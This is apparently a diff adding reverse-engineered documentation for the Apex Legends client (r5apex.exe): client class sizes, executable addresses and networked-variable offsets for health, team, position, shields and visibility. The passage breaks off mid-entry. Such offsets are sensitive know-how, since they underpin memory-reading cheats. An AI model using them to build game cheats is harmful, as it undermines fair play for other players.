+client_class CPredictedFirstPersonProxy + +class_id: `0` +sizeof: `5824` +
+
+client_class CProjectile + +class_id: `0` +sizeof: `11328` +
+
+client_class CPropDoor + +class_id: `0` +sizeof: `5888` +
+
+client_class CPropSurvival + +class_id: `0` +sizeof: `5696` +
+
+client_class CRopeKeyframe + +class_id: `0` +sizeof: `3904` +
+
+client_class CScriptMover + +class_id: `0` +sizeof: `6272` +
+
+client_class CScriptMoverTrainNode + +class_id: `0` +sizeof: `4224` +
+
+client_class CScriptNetData + +class_id: `0` +sizeof: `3200` +
+
+client_class CScriptNetDataGlobal + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetDataGlobalNonRewind + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_DEATH_BOX + +class_id: `0` +sizeof: `3328` +
+
+client_class CScriptNetData_SNDC_GLOBAL + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_GLOBAL_NON_REWIND + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE + +class_id: `0` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED + +class_id: `0` +sizeof: `3520` +
+
+client_class CScriptNetData_SNDC_PLAYER_GLOBAL + +class_id: `0` +sizeof: `3456` +
+
+client_class CScriptNetData_SNDC_TITAN_SOUL + +class_id: `0` +sizeof: `3328` +
+
+client_class CScriptProp + +class_id: `0` +sizeof: `5888` +
+
+client_class CScriptTraceVolume + +class_id: `0` +sizeof: `2688` +
+
+client_class CShieldProp + +class_id: `0` +sizeof: `5760` +
+
+client_class CSkyCamera + +class_id: `0` +sizeof: `2624` +
+
+client_class CStatueProp + +class_id: `0` +sizeof: `5824` +
+
+client_class CStatusEffectPlugin + +class_id: `0` +sizeof: `2688` +
+
+client_class CTEBreakModel + +class_id: `0` +sizeof: `112` +
+
+client_class CTEEffectDispatch + +class_id: `0` +sizeof: `208` +
+
+client_class CTEExplosion + +class_id: `0` +sizeof: `128` +
+
+client_class CTEGibEvent + +class_id: `0` +sizeof: `56` +
+
+client_class CTEParticleSystem + +class_id: `0` +sizeof: `56` +
+
+client_class CTEPhysicsProp + +class_id: `0` +sizeof: `96` +
+
+client_class CTEProjectileTrail + +class_id: `0` +sizeof: `88` +
+
+client_class CTEScriptParticleSystem + +class_id: `0` +sizeof: `80` +
+
+client_class CTEScriptParticleSystemOnEntity + +class_id: `0` +sizeof: `64` +
+
+client_class CTEScriptParticleSystemOnEntityWithPos + +class_id: `0` +sizeof: `88` +
+
+client_class CTEShatterSurface + +class_id: `0` +sizeof: `104` +
+
+client_class CTESoundDispatch + +class_id: `0` +sizeof: `72` +
+
+client_class CTeam + +class_id: `0` +sizeof: `3008` +
+
+client_class CTitanSoul + +class_id: `0` +sizeof: `3520` +
+
+client_class CTriggerCylinderHeavy + +class_id: `0` +sizeof: `2944` +
+
+client_class CTriggerNoGrapple + +class_id: `0` +sizeof: `2752` +
+
+client_class CTriggerNoZipline + +class_id: `0` +sizeof: `2752` +
+
+client_class CTriggerPlayerMovement + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerPointGravity + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerSlip + +class_id: `0` +sizeof: `2816` +
+
+client_class CTriggerUpdraft + +class_id: `0` +sizeof: `2752` +
+
+client_class CTurret + +class_id: `0` +sizeof: `6720` +
+
+client_class CVGuiScreen + +class_id: `0` +sizeof: `2816` +
+
+client_class CVortexSphere + +class_id: `0` +sizeof: `2752` +
+
+client_class CWaterLODControl + +class_id: `0` +sizeof: `2688` +
+
+client_class CWeaponX + +class_id: `0` +sizeof: `26304` +
+
+client_class CWorld + +class_id: `0` +sizeof: `4928` +
+
+client_class CZipline + +class_id: `0` +sizeof: `4224` +
+
+client_class CZiplineEnd + +class_id: `0` +sizeof: `2688` +
+
+client_class DoorMover + +class_id: `0` +sizeof: `6336` +
+
+client_class ScriptMoverLightweight + +class_id: `0` +sizeof: `6336` +
+
+client_class Titan_Cockpit + +class_id: `0` +sizeof: `6144` +
+ +### Addresses + +``` +r5apex.exe!0x011987f8 ClientClass CAI_BaseNPC +r5apex.exe!0x01195b88 ClientClass CAmbientGeneric +r5apex.exe!0x01191cd8 ClientClass CBaseAnimating +r5apex.exe!0x011971d8 ClientClass CBaseAnimatingOverlay +r5apex.exe!0x011986b8 ClientClass CBaseButton +r5apex.exe!0x01193308 ClientClass CBaseCombatCharacter +r5apex.exe!0x01e72878 ClientClass CBaseEntity +r5apex.exe!0x012cd258 ClientClass CBaseGrenade +r5apex.exe!0x01c9d3f8 ClientClass CBaseParticleEntity +r5apex.exe!0x01198438 ClientClass CBaseTempEntity +r5apex.exe!0x011978f8 ClientClass CBaseToggle +r5apex.exe!0x0119f1e8 ClientClass CBaseTrigger +r5apex.exe!0x01198b18 ClientClass CBaseVPhysicsTrigger +r5apex.exe!0x01c3d1b8 ClientClass CBaseViewModel +r5apex.exe!0x01191a78 ClientClass CBoneFollower +r5apex.exe!0x01192868 ClientClass CBreakableProp +r5apex.exe!0x01195278 ClientClass CBreakableSurface +r5apex.exe!0x011927c8 ClientClass CCascadeLight +r5apex.exe!0x01198118 ClientClass CColorCorrection +r5apex.exe!0x01e5d568 ClientClass CCrossbowBolt +r5apex.exe!0x011922c8 ClientClass CDeathBoxProp +r5apex.exe!0x01197d58 ClientClass CDynamicLight +r5apex.exe!0x011981b8 ClientClass CDynamicProp +r5apex.exe!0x01192408 ClientClass CDynamicPropLightweight +r5apex.exe!0x01c55b18 ClientClass CEntityBlocker +r5apex.exe!0x01195f88 ClientClass CEntityDissolve +r5apex.exe!0x0119d388 ClientClass CEntityLinkPage +r5apex.exe!0x01c98630 ClientClass CEnvDecoy +r5apex.exe!0x01192688 ClientClass CEnvWind +r5apex.exe!0x01e5bc68 ClientClass CFirstPersonProxy +r5apex.exe!0x01196968 ClientClass CFuncBrush +r5apex.exe!0x01194ac8 ClientClass CFuncBrushLightweight +r5apex.exe!0x01193dd8 ClientClass CFuncMoveLinear +r5apex.exe!0x01c8e870 ClientClass CGameRulesProxy +r5apex.exe!0x01c45918 ClientClass CGlobalNonRewinding +r5apex.exe!0x01e5e458 ClientClass CGrappleHook +r5apex.exe!0x01199e28 ClientClass CHardPointEntity +r5apex.exe!0x0119b6c8 ClientClass CHardPointFrontierEntity +r5apex.exe!0x01c9d4d8 ClientClass CHealthKit +r5apex.exe!0x0125fdb8 ClientClass CImportantOnEntSound +r5apex.exe!0x01ca3888 ClientClass CInfoPlacementHelper +r5apex.exe!0x01c8af38 ClientClass CInfoTarget +r5apex.exe!0x012cb858 ClientClass CInfoTargetGravity +r5apex.exe!0x01c3f9a8 ClientClass CInfoTargetMinimap +r5apex.exe!0x01197e98 ClientClass CLootGrabber +r5apex.exe!0x01e59468 ClientClass CMissile +r5apex.exe!0x01192f48 ClientClass CMovieDisplay +r5apex.exe!0x01193d38 ClientClass CNPC_Drone +r5apex.exe!0x01193ae8 ClientClass CNPC_Dropship +r5apex.exe!0x011924a8 ClientClass CNPC_SentryTurret +r5apex.exe!0x01195868 ClientClass CNPC_Titan +r5apex.exe!0x01195cc8 ClientClass CParticleSystem +r5apex.exe!0x01197748 ClientClass CPhysicsProp +r5apex.exe!0x01191e18 ClientClass CPlayer +r5apex.exe!0x01c9d3c0 ClientClass CPlayerDecoy +r5apex.exe!0x01c99998 ClientClass CPlayerTasklist +r5apex.exe!0x0119c8e8 ClientClass CPlayerVehicle +r5apex.exe!0x01c998f0 ClientClass CPlayerWaypoint +r5apex.exe!0x011957c8 ClientClass CPointCamera +r5apex.exe!0x01ca3988 ClientClass CPortal_PointPush +r5apex.exe!0x01192548 ClientClass CPostProcessController +r5apex.exe!0x01e59ea8 ClientClass CPredictedFirstPersonProxy +r5apex.exe!0x01e5f138 ClientClass CProjectile +r5apex.exe!0x012d2fe8 ClientClass CPropDoor +r5apex.exe!0x01194d08 ClientClass CPropSurvival +r5apex.exe!0x01c93be8 ClientClass CRopeKeyframe +r5apex.exe!0x01c9c940 ClientClass CScriptMover +r5apex.exe!0x01c93bb0 ClientClass CScriptMoverTrainNode +r5apex.exe!0x01c9a9c8 ClientClass CScriptNetData +r5apex.exe!0x01c98668 ClientClass CScriptNetDataGlobal +r5apex.exe!0x01c9c978 ClientClass CScriptNetDataGlobalNonRewind +r5apex.exe!0x01c937f8 ClientClass CScriptNetData_SNDC_DEATH_BOX +r5apex.exe!0x01c99928 ClientClass CScriptNetData_SNDC_GLOBAL +r5apex.exe!0x01c937c0 ClientClass CScriptNetData_SNDC_GLOBAL_NON_REWIND +r5apex.exe!0x01c993a0 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE +r5apex.exe!0x01c9c598 ClientClass CScriptNetData_SNDC_PLAYER_EXCLUSIVE_EXPANDED +r5apex.exe!0x01c991f0 ClientClass CScriptNetData_SNDC_PLAYER_GLOBAL +r5apex.exe!0x01c99960 ClientClass CScriptNetData_SNDC_TITAN_SOUL +r5apex.exe!0x011945d8 ClientClass CScriptProp +r5apex.exe!0x01e587a8 ClientClass CScriptTraceVolume +r5apex.exe!0x01192368 ClientClass CShieldProp +r5apex.exe!0x01e72448 ClientClass CSkyCamera +r5apex.exe!0x01197f38 ClientClass CStatueProp +r5apex.exe!0x01c9a990 ClientClass CStatusEffectPlugin +r5apex.exe!0x0119cfb8 ClientClass CTEBreakModel +r5apex.exe!0x01199898 ClientClass CTEEffectDispatch +r5apex.exe!0x01199618 ClientClass CTEExplosion +r5apex.exe!0x011973b8 ClientClass CTEGibEvent +r5apex.exe!0x0125fc78 ClientClass CTEParticleSystem +r5apex.exe!0x0119acc8 ClientClass CTEPhysicsProp +r5apex.exe!0x01e652e8 ClientClass CTEProjectileTrail +r5apex.exe!0x01c45638 ClientClass CTEScriptParticleSystem +r5apex.exe!0x01c43868 ClientClass CTEScriptParticleSystemOnEntity +r5apex.exe!0x01c8cac0 ClientClass CTEScriptParticleSystemOnEntityWithPos +r5apex.exe!0x0119f028 ClientClass CTEShatterSurface +r5apex.exe!0x01198bb8 ClientClass CTESoundDispatch +r5apex.exe!0x0125fd18 ClientClass CTeam +r5apex.exe!0x011939a8 ClientClass CTitanSoul +r5apex.exe!0x01c99228 ClientClass CTriggerCylinderHeavy +r5apex.exe!0x01199038 ClientClass CTriggerNoGrapple +r5apex.exe!0x0119e6c8 ClientClass CTriggerNoZipline +r5apex.exe!0x01c9c748 ClientClass CTriggerPlayerMovement +r5apex.exe!0x01c9a748 ClientClass CTriggerPointGravity +r5apex.exe!0x01c993d8 ClientClass CTriggerSlip +r5apex.exe!0x0119afc8 ClientClass CTriggerUpdraft +r5apex.exe!0x01e5c588 ClientClass CTurret +r5apex.exe!0x012600b8 ClientClass CVGuiScreen +r5apex.exe!0x01e5e818 ClientClass CVortexSphere +r5apex.exe!0x0119c448 ClientClass CWaterLODControl +r5apex.exe!0x01e6fe68 ClientClass CWeaponX +r5apex.exe!0x01260018 ClientClass CWorld +r5apex.exe!0x01e71ec8 ClientClass CZipline +r5apex.exe!0x01e719a8 ClientClass CZiplineEnd +r5apex.exe!0x01c97918 ClientClass DoorMover +r5apex.exe!0x01c9c710 ClientClass ScriptMoverLightweight +r5apex.exe!0x01ca4108 ClientClass Titan_Cockpit +``` + +## RecvTables + +
+class DT_AI_BaseNPC extends DT_BaseCombatCharacter + +``` +{ + statuseffectsdata_npc: DT_AI_BaseNPC_StatusEffects, + m_localOrigin: Vector, + m_hGroundEntity: Int, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_lifeState: Int, + m_inventory: DT_WeaponInventoryActiveWeaponOnly, + m_fireteamSlotIndex: Int, + m_aiSprinting: Int, + m_aiNetworkFlags: Int, + m_isHologram: Int, + m_title: String, + m_aiSettingsIndex: Int, + m_subclass: Int, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC!0x0000 statuseffectsdata_npc +DT_AI_BaseNPC!0x0004 m_localOrigin +DT_AI_BaseNPC!0x041c m_hGroundEntity +DT_AI_BaseNPC!0x0420 m_iHealth +DT_AI_BaseNPC!0x046c m_localAngles +DT_AI_BaseNPC!0x0550 m_iMaxHealth +DT_AI_BaseNPC!0x0770 m_lifeState +DT_AI_BaseNPC!0x19b0 m_inventory +DT_AI_BaseNPC!0x1b80 m_fireteamSlotIndex +DT_AI_BaseNPC!0x1cea m_aiSprinting +DT_AI_BaseNPC!0x1d0c m_aiNetworkFlags +DT_AI_BaseNPC!0x1d10 m_isHologram +DT_AI_BaseNPC!0x1d11 m_title +DT_AI_BaseNPC!0x1d34 m_aiSettingsIndex +DT_AI_BaseNPC!0x1d38 m_subclass +``` +
+
+class DT_AI_BaseNPC_StatusEffects + +``` +{ + m_statusEffectsTimedNPCNV: DataTable, + m_statusEffectsEndlessNPCNV: DataTable, +} +``` + +### Offsets + +``` +DT_AI_BaseNPC_StatusEffects!0x1b88 m_statusEffectsTimedNPCNV +DT_AI_BaseNPC_StatusEffects!0x1bd0 m_statusEffectsEndlessNPCNV +``` +
+
+class DT_AmbientGeneric extends DT_BaseEntity + +``` +{ + m_radius: Float, + m_isEnabled: Int, + m_networkTableSoundID: Int, + m_networkedSegmentEndpointWorldSpace: Vector, + m_hasPolylineSegments: Int, +} +``` + +### Offsets + +``` +DT_AmbientGeneric!0x0a40 m_radius +DT_AmbientGeneric!0x0a44 m_isEnabled +DT_AmbientGeneric!0x0a50 m_networkTableSoundID +DT_AmbientGeneric!0x0a58 m_networkedSegmentEndpointWorldSpace +DT_AmbientGeneric!0x0a64 m_hasPolylineSegments +``` +
+
+class DT_AnimRelativeData + +``` +{ + m_animInitialPos: Vector, + m_animInitialVel: Vector, + m_animInitialRot: Rotation, + m_animInitialCorrectPos: Vector, + m_animInitialCorrectRot: Rotation, + m_animEntityToRefOffset: Vector, + m_animEntityToRefRotation: Rotation, + m_animBlendBeginTime: Time, + m_animBlendEndTime: Time, + m_animScriptSequence: Int, + m_animScriptModel: Int, + m_animIgnoreParentRot: Int, + m_animMotionMode: Int, +} +``` + +### Offsets + +``` +DT_AnimRelativeData!0x0000 m_animInitialPos +DT_AnimRelativeData!0x000c m_animInitialVel +DT_AnimRelativeData!0x0018 m_animInitialRot +DT_AnimRelativeData!0x0028 m_animInitialCorrectPos +DT_AnimRelativeData!0x0034 m_animInitialCorrectRot +DT_AnimRelativeData!0x0044 m_animEntityToRefOffset +DT_AnimRelativeData!0x0050 m_animEntityToRefRotation +DT_AnimRelativeData!0x0060 m_animBlendBeginTime +DT_AnimRelativeData!0x0064 m_animBlendEndTime +DT_AnimRelativeData!0x0068 m_animScriptSequence +DT_AnimRelativeData!0x006c m_animScriptModel +DT_AnimRelativeData!0x0070 m_animIgnoreParentRot +DT_AnimRelativeData!0x0074 m_animMotionMode +``` +
+
+class DT_BaseAnimating extends DT_BaseEntity + +``` +{ + serveranimdata: DT_ServerAnimationData, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animModelIndex: Int, + m_nNewSequenceParity: Int, + m_flPoseParameter: DataTable, + m_bClientSideRagdoll: Int, + m_vecForce: Vector, + m_flEstIkOffset: Float, + m_passDamageToParent: Int, + m_animNetworkFlags: Int, + m_animActive: Int, + m_animCollisionEnabled: Int, + m_animRelativeToGroundEnabled: Int, + m_animPlantingEnabled: Int, + m_animRelativeData: DT_AnimRelativeData, + m_syncingWithEntity: Int, + m_predictedAnimEventData: DT_PredictedAnimEventData, + m_nRagdollImpactFXTableId: Int, + m_flSkyScaleStartValue: Float, + m_flSkyScaleEndValue: Float, + m_flSkyScaleStartTime: Time, + m_flSkyScaleEndTime: Time, + m_SequenceTransitioner: DT_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Int, + m_nBody: Int, + m_camoIndex: Int, + m_nForceBone: Int, + m_bSequenceFinished: Int, + m_lockedAnimDeltaYaw: Float, + m_flModelScale: Float, +} +``` + +### Offsets + +``` +DT_BaseAnimating!0x0000 serveranimdata +DT_BaseAnimating!0x0010 m_animPlaybackRate +DT_BaseAnimating!0x0014 m_animFrozen +DT_BaseAnimating!0x0018 m_animModelIndex +DT_BaseAnimating!0x0020 m_nNewSequenceParity +DT_BaseAnimating!0x0024 m_flPoseParameter +DT_BaseAnimating!0x0084 m_bClientSideRagdoll +DT_BaseAnimating!0x0088 m_vecForce +DT_BaseAnimating!0x0094 m_flEstIkOffset +DT_BaseAnimating!0x079c m_passDamageToParent +DT_BaseAnimating!0x0a68 m_animNetworkFlags +DT_BaseAnimating!0x0a6c m_animActive +DT_BaseAnimating!0x0a6f m_animCollisionEnabled +DT_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +DT_BaseAnimating!0x0a71 m_animPlantingEnabled +DT_BaseAnimating!0x0a74 m_animRelativeData +DT_BaseAnimating!0x0b64 m_syncingWithEntity +DT_BaseAnimating!0x0b68 m_predictedAnimEventData +DT_BaseAnimating!0x0bd4 m_nRagdollImpactFXTableId +DT_BaseAnimating!0x0bd8 m_flSkyScaleStartValue +DT_BaseAnimating!0x0bdc m_flSkyScaleEndValue +DT_BaseAnimating!0x0be0 m_flSkyScaleStartTime +DT_BaseAnimating!0x0be4 m_flSkyScaleEndTime +DT_BaseAnimating!0x0c00 m_SequenceTransitioner +DT_BaseAnimating!0x0e88 m_nSkin +DT_BaseAnimating!0x0e8c m_skinMod +DT_BaseAnimating!0x0e90 m_nBody +DT_BaseAnimating!0x0e94 m_camoIndex +DT_BaseAnimating!0x0ed0 m_nForceBone +DT_BaseAnimating!0x0f34 m_bSequenceFinished +DT_BaseAnimating!0x0f38 m_lockedAnimDeltaYaw +DT_BaseAnimating!0x0f40 m_flModelScale +``` +
+
+class DT_BaseAnimatingOverlay extends DT_BaseAnimating + +``` +{ + overlay_vars: DT_OverlayVars, + m_animOverlayIsActive: DataTable, + m_animOverlayStartTime: DataTable, + m_animOverlayStartCycle: DataTable, + m_animOverlayPlaybackRate: DataTable, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, +} +``` + +### Offsets + +``` +DT_BaseAnimatingOverlay!0x0000 overlay_vars +DT_BaseAnimatingOverlay!0x0008 m_animOverlayIsActive +DT_BaseAnimatingOverlay!0x0014 m_animOverlayStartTime +DT_BaseAnimatingOverlay!0x0038 m_animOverlayStartCycle +DT_BaseAnimatingOverlay!0x005c m_animOverlayPlaybackRate +DT_BaseAnimatingOverlay!0x0080 m_animOverlayModelIndex +DT_BaseAnimatingOverlay!0x00a4 m_animOverlaySequence +DT_BaseAnimatingOverlay!0x00c8 m_animOverlayWeight +DT_BaseAnimatingOverlay!0x00ec m_animOverlayOrder +DT_BaseAnimatingOverlay!0x0110 m_animOverlayAnimTime +DT_BaseAnimatingOverlay!0x0134 m_animOverlayFadeInDuration +DT_BaseAnimatingOverlay!0x0158 m_animOverlayFadeOutDuration +``` +
+
+class DT_BaseCombatCharacter extends DT_BaseAnimatingOverlay + +``` +{ + bcc_localdata: DT_BCCLocalPlayerExclusive, + m_weaponGettingSwitchedOut: DataTable, + m_showActiveWeapon3p: DataTable, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_networkedFlags: Int, + m_deathVelocity: Vector, + m_minimapData: DT_MinimapBaseEntityData, + m_nameVisibilityFlags: Int, + m_lastFiredTime: Time, + m_lastFiredWeapon: Int, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_selectedWeapons: DataTable, + m_latestPrimaryWeapons: DataTable, + m_latestPrimaryWeaponsIndexZeroOrOne: DataTable, + m_latestNonOffhandWeapons: DataTable, + m_lastCycleSlot: Int, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Int, + m_weaponDisabledFlags: Int, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: DataTable, + m_hudInfo_visibilityTestAlwaysPasses: Int, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, + m_targetInfoIconName: String, +} +``` + +### Offsets + +``` +DT_BaseCombatCharacter!0x0000 bcc_localdata +DT_BaseCombatCharacter!0x0008 m_weaponGettingSwitchedOut +DT_BaseCombatCharacter!0x0010 m_showActiveWeapon3p +DT_BaseCombatCharacter!0x0038 m_vecViewOffset.x +DT_BaseCombatCharacter!0x003c m_vecViewOffset.y +DT_BaseCombatCharacter!0x0040 m_vecViewOffset.z +DT_BaseCombatCharacter!0x019c m_cloakEndTime +DT_BaseCombatCharacter!0x01a0 m_cloakFadeInEndTime +DT_BaseCombatCharacter!0x01a4 m_cloakFadeOutStartTime +DT_BaseCombatCharacter!0x01a8 m_cloakFadeInDuration +DT_BaseCombatCharacter!0x01ac m_cloakFlickerAmount +DT_BaseCombatCharacter!0x01b0 m_cloakFlickerEndTime +DT_BaseCombatCharacter!0x03d4 m_networkedFlags +DT_BaseCombatCharacter!0x0454 m_deathVelocity +DT_BaseCombatCharacter!0x0948 m_minimapData +DT_BaseCombatCharacter!0x0998 m_nameVisibilityFlags +DT_BaseCombatCharacter!0x1984 m_lastFiredTime +DT_BaseCombatCharacter!0x1988 m_lastFiredWeapon +DT_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +DT_BaseCombatCharacter!0x1990 m_sharedEnergyCount +DT_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +DT_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +DT_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +DT_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +DT_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +DT_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +DT_BaseCombatCharacter!0x1a08 m_selectedWeapons +DT_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +DT_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +DT_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +DT_BaseCombatCharacter!0x1a24 m_lastCycleSlot +DT_BaseCombatCharacter!0x1a2c m_weaponPermission +DT_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +DT_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +DT_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +DT_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +DT_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +DT_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +DT_BaseCombatCharacter!0x1a7c m_contextAction +DT_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +DT_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +DT_BaseCombatCharacter!0x1afc m_targetInfoIconName +``` +
+
+class DT_BaseEntity + +``` +{ + movetype: Int, + movecollide: Int, + predictable_id: DT_PredictableId, + HighlightSettings: DT_HighlightSettings, + moveparent: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_clrRender: Int, + m_cellZ: Int, + m_clIntensity: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_squadID: Int, + m_grade: Int, + m_ignorePredictedTriggerFlags: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_bRenderWithViewModels: Int, + m_nRenderFX: Int, + m_nRenderMode: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_contents: Int, + m_collideWithOwner: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_phaseShiftFlags: Int, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_attachmentLerpStartTime: Time, + m_attachmentLerpEndTime: Time, + m_attachmentLerpStartOrigin: Vector, + m_attachmentLerpStartAngles: Vector, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_dissolveEffectEntityHandle: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_spottedByTeams: DataTable, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_realmsBitMask: BitMask, +} +``` + +### Offsets + +``` +DT_BaseEntity!0x0000 movetype +DT_BaseEntity!0x0000 movecollide +DT_BaseEntity!0x0000 predictable_id +DT_BaseEntity!0x0000 HighlightSettings +DT_BaseEntity!0x001c moveparent +DT_BaseEntity!0x0024 m_parentAttachmentIndex +DT_BaseEntity!0x0044 m_fEffects +DT_BaseEntity!0x0048 m_usableType +DT_BaseEntity!0x004c m_cellX +DT_BaseEntity!0x0050 m_cellY +DT_BaseEntity!0x0050 m_clrRender +DT_BaseEntity!0x0054 m_cellZ +DT_BaseEntity!0x0054 m_clIntensity +DT_BaseEntity!0x0058 m_localOrigin +DT_BaseEntity!0x0064 m_nModelIndex +DT_BaseEntity!0x0124 m_bossPlayer +DT_BaseEntity!0x0170 m_shieldHealth +DT_BaseEntity!0x0174 m_shieldHealthMax +DT_BaseEntity!0x03cc m_bIsSoundCodeControllerValueSet +DT_BaseEntity!0x03d0 m_flSoundCodeControllerValue +DT_BaseEntity!0x03d4 m_networkedFlags +DT_BaseEntity!0x0428 m_visibilityFlags +DT_BaseEntity!0x0430 m_iTeamNum +DT_BaseEntity!0x0438 m_teamMemberIndex +DT_BaseEntity!0x043c m_squadID +DT_BaseEntity!0x0440 m_grade +DT_BaseEntity!0x0444 m_ignorePredictedTriggerFlags +DT_BaseEntity!0x0448 m_passThroughFlags +DT_BaseEntity!0x044c m_passThroughThickness +DT_BaseEntity!0x0450 m_passThroughDirection +DT_BaseEntity!0x046c m_localAngles +DT_BaseEntity!0x0480 m_hOwnerEntity +DT_BaseEntity!0x0484 m_bRenderWithViewModels +DT_BaseEntity!0x0485 m_nRenderFX +DT_BaseEntity!0x0491 m_nRenderMode +DT_BaseEntity!0x0498 m_Collision +DT_BaseEntity!0x0518 m_CollisionGroup +DT_BaseEntity!0x051c m_contents +DT_BaseEntity!0x0520 m_collideWithOwner +DT_BaseEntity!0x0558 m_iSignifierName +DT_BaseEntity!0x0561 m_iName +DT_BaseEntity!0x0668 m_scriptNameIndex +DT_BaseEntity!0x066c m_instanceNameIndex +DT_BaseEntity!0x06f0 m_holdUsePrompt +DT_BaseEntity!0x06f8 m_pressUsePrompt +DT_BaseEntity!0x0790 m_phaseShiftFlags +DT_BaseEntity!0x0794 m_baseTakeDamage +DT_BaseEntity!0x0798 m_invulnerableToDamageCount +DT_BaseEntity!0x080c m_attachmentLerpStartTime +DT_BaseEntity!0x0810 m_attachmentLerpEndTime +DT_BaseEntity!0x0814 m_attachmentLerpStartOrigin +DT_BaseEntity!0x0820 m_attachmentLerpStartAngles +DT_BaseEntity!0x0838 m_parentAttachmentModel +DT_BaseEntity!0x0844 m_fadeDist +DT_BaseEntity!0x08f8 m_dissolveEffectEntityHandle +DT_BaseEntity!0x0908 m_usablePriority +DT_BaseEntity!0x090c m_usableDistanceOverride +DT_BaseEntity!0x0910 m_usableFOV +DT_BaseEntity!0x0914 m_usePromptSize +DT_BaseEntity!0x0928 m_spottedByTeams +DT_BaseEntity!0x0a20 m_firstChildEntityLink +DT_BaseEntity!0x0a24 m_firstParentEntityLink +DT_BaseEntity!0x0a28 m_realmsBitMask +``` +
+
+class DT_BaseGrenade extends DT_Projectile + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_doesExplode: Int, + m_DmgRadius: Float, + m_grenadeStatusFlags: Int, + m_ziplineGrenadeExpectedEndPosition: Vector, +} +``` + +### Offsets + +``` +DT_BaseGrenade!0x001c moveparent +DT_BaseGrenade!0x0020 m_parentAttachmentType +DT_BaseGrenade!0x0024 m_parentAttachmentIndex +DT_BaseGrenade!0x019c m_cloakEndTime +DT_BaseGrenade!0x01a0 m_cloakFadeInEndTime +DT_BaseGrenade!0x01a4 m_cloakFadeOutStartTime +DT_BaseGrenade!0x01a8 m_cloakFadeInDuration +DT_BaseGrenade!0x01ac m_cloakFlickerAmount +DT_BaseGrenade!0x01b0 m_cloakFlickerEndTime +DT_BaseGrenade!0x0794 m_baseTakeDamage +DT_BaseGrenade!0x0798 m_invulnerableToDamageCount +DT_BaseGrenade!0x0834 